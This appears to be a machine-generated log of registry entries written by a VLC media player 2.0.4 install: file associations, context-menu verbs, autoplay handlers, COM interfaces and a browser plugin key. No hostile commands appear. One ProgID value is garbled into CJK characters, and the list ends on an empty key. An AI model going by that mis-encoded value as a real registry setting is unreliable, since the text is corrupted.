[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.drc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aob\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gp]
"(Default)" = "VLC media file (.3gp)"

[HKCR\VLC.mpeg4\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".nsv" = "VLC.nsv"

[HKCR\.rmi]
"(Default)" = "VLC.rmi"

[HKCR\VLC.tta\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.amv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.aif]
"(Default)" = "VLC.aif"

[HKCR\VLC.m2ts\shell]
"(Default)" = "Open"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}]
"(Default)" = "IVLCPlaylist"

[HKCR\.oga]
"(Default)" = "VLC.oga"

[HKCR\VLC.mp1\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m1v" = "VLC.m1v"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.4]
"vendor" = "VideoLAN"

[HKCR\VLC.gxf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cda\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".b4s" = ""

[HKCR\VLC.adt\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.adt\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"ShowIconsCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /ShowIcons /S"

[HKCR\VLC.ifo\shell]
"(Default)" = "Open"

[HKCR\VLC.ogm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mkv]
"(Default)" = "VLC media file (.mkv)"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.m2t\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".nsv" = ""

[HKCR\VLC.oma\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mid]
"(Default)" = "VLC media file (.mid)"

[HKCR\VLC.vqf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.flac\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayVideoFilesOnArrival]
"VLCPlayVideoFilesOnArrival" = ""

[HKCR\VLC.it\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ac3\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.rec\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".snd" = "VLC.snd"

[HKCR\VLC.adts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}]
"(Default)" = "IVLCSubtitle"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}]
"(Default)" = "IVLCAudio"

[HKCR\VLC.3gp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.wav\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mkv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ape\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.3ga\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.caf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aac\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m2v]
"(Default)" = "VLC media file (.m2v)"

[HKCR\VLC.cda\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.ram\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.gxf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".asf" = "VLC.asf"
".asx" = "VLC.asx"

[HKCR\VLC.aifc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ac3\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.s3m\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.bin\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"Action" = "Play audio files"

[HKCR\VLC.3gp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp1\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.flv]
"(Default)" = "VLC.flv"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"HideIconsCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /HideIcons /S"

[HKCR\Applications\vlc.exe\SupportedTypes]
".caf" = ""

[HKCR\VLC.ram]
"(Default)" = "VLC media file (.ram)"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mxf" = "VLC.mxf"

[HKCR\VLC.wv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.spx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.asx]
"(Default)" = "VLC media file (.asx)"

[HKCR\VLC.mp2v]
"(Default)" = "VLC media file (.mp2v)"

[HKCR\VLC.mtv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mod\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mov\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.aiff\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.aifc]
"(Default)" = "VLC media file (.aifc)"

[HKCR\VLC.avi\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.tts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2t\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\DVD\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file dvd:///%1"

[HKCR\VLC.divx\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vro" = "VLC.vro"

[HKCR\VLC.m2ts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.xa\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gpp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3gp2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xm]
"(Default)" = "VLC media file (.xm)"

[HKCR\VLC.nuv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mod\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.aifc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m4a\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.dv\shell]
"(Default)" = "Open"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}]
"(Default)" = "DVLCEvents"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".dv" = "VLC.dv"

[HKCR\VLC.mpa\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpeg2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m1v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.spx\shell]
"(Default)" = "Open"

[HKCR\VLC.mkv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.rmi]
"(Default)" = "VLC media file (.rmi)"

[HKCR\VLC.a52\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.drc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m2t\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.vqf]
"(Default)" = "VLC media file (.vqf)"

[HKCR\VLC.bin\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ac3\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amr\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vob" = "VLC.vob"

[HKCR\VLC.au\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rmvb\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\ProgID]
"(Default)" = "楖敤䱯乁嘮䍌汐杵湩.2"

[HKCR\VLC.oma\shell]
"(Default)" = "Open"

[HKCR\VLC.snd\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.mpeg1]
"(Default)" = "VLC.mpeg1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.asf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\VLC.mpeg1\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv]
"(Default)" = "VLC media file (.amv)"

[HKCR\VLC.mp4\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vqf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.4]
"Version" = "2.0.4"

[HKCR\.mpg]
"(Default)" = "VLC.mpg"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gp2" = "VLC.3gp2"

[HKCR\VLC.mlp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.flac\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayDVDAudioOnArrival]
"VLCPlayDVDAudioOnArrival" = ""

[HKCR\VLC.drc]
"(Default)" = "VLC media file (.drc)"

[HKCR\VLC.wmv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tta\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.b4s]
"(Default)" = "VLC media file (.b4s)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".wmv" = "VLC.wmv"

[HKCR\VLC.wv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpv2]
"(Default)" = "VLC media file (.mpv2)"

[HKCR\VLC.m4v\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".adt" = ""

[HKCR\.rec]
"(Default)" = "VLC.rec"

[HKCR\.mid]
"(Default)" = "VLC.mid"

[HKCR\VLC.mp2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.vqf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mpc]
"(Default)" = "VLC.mpc"

[HKCR\VLC.rmvb\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2ts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4a\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.wma\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xa\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mod\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u8\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.gxf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.oga\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".adt" = "VLC.adt"

[HKCR\VLC.vlc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1\shell]
"(Default)" = "Open"

[HKCR\VLC.xm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ram\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.spx]
"(Default)" = "VLC media file (.spx)"

[HKCR\VLC.tta\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aiff\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aac\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u]
"(Default)" = "VLC media file (.m3u)"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.wav\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.wv\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".webm" = ""

[HKCR\VLC.opus\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogx" = ""
".au" = ""

[HKCR\VLC.drc\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nsv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mxf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aifc]
"(Default)" = "VLC.aifc"

[HKCR\Applications\vlc.exe\SupportedTypes]
".drc" = ""

[HKCR\VLC.rmi\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.avi]
"(Default)" = "VLC media file (.avi)"

[HKCR\VLC.s3m\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.cue]
"(Default)" = "VLC.cue"

[HKCR\.ogv]
"(Default)" = "VLC.ogv"

[HKCR\VLC.mp4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.it\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Directory\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m3u8]
"(Default)" = "VLC media file (.m3u8)"

[HKCR\VLC.it\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.asf]
"(Default)" = "VLC.asf"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.voc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.bin\shell]
"(Default)" = "Open"

[HKCR\VLC.ogm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ac3\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xspf]
"(Default)" = "VLC media file (.xspf)"

[HKCR\VLC.m4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".OGA" = "VLC.oga"
".OGG" = "VLC.ogg"

[HKCR\.ifo]
"(Default)" = "VLC.ifo"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ogm" = "VLC.ogm"

[HKCR\VLC.adts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.sdp\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ogx" = "VLC.ogx"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.caf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xa\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".WV" = "VLC.wv"

[HKCR\VLC.ts\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKLM\SOFTWARE\RegisteredApplications]
"vlc" = "Software\Clients\Media\VLC\Capabilities"

[HKCR\VLC.669\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpg" = ""
".mpe" = ""
".MPC" = ""
".mpa" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".tod" = "VLC.tod"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mod\shell]
"(Default)" = "Open"

[HKCR\VLC.wmv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\shell\Open]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adt\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.au\shell]
"(Default)" = "Open"

[HKCR\VLC.mpg\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP3" = ""

[HKLM\SOFTWARE\Clients\Media\VLC]
"(Default)" = "VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP1" = ""

[HKCR\VLC.rmi\shell]
"(Default)" = "Open"

[HKCR\VLC.ac3\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}]
"(Default)" = "IVLCInput"

[HKCR\VLC.s3m\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4v]
"(Default)" = "VLC media file (.m4v)"

[HKCR\VLC.vlc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.xm]
"(Default)" = "VLC.xm"

[HKCR\VLC.mod\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aifc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M3U" = "VLC.m3u"

[HKCR\VLC.caf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.sdp]
"(Default)" = "VLC media file (.sdp)"

[HKCR\VLC.qcp\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".snd" = ""

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".f4v" = ""

[HKCR\VLC.3g2]
"(Default)" = "VLC media file (.3g2)"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.divx\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.au]
"(Default)" = "VLC.au"

[HKCR\Applications\vlc.exe\SupportedTypes]
".FLAC" = ""

[HKCR\VLC.mpeg1\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vob]
"(Default)" = "VLC.vob"

[HKCR\VLC.mpa\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mod]
"(Default)" = "VLC media file (.mod)"

[HKCR\VLC.rmi\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell]
"(Default)" = "Open"

[HKCR\.mpeg]
"(Default)" = "VLC.mpeg"

[HKCR\VLC.mpeg1\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2ts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3g2\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vob\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
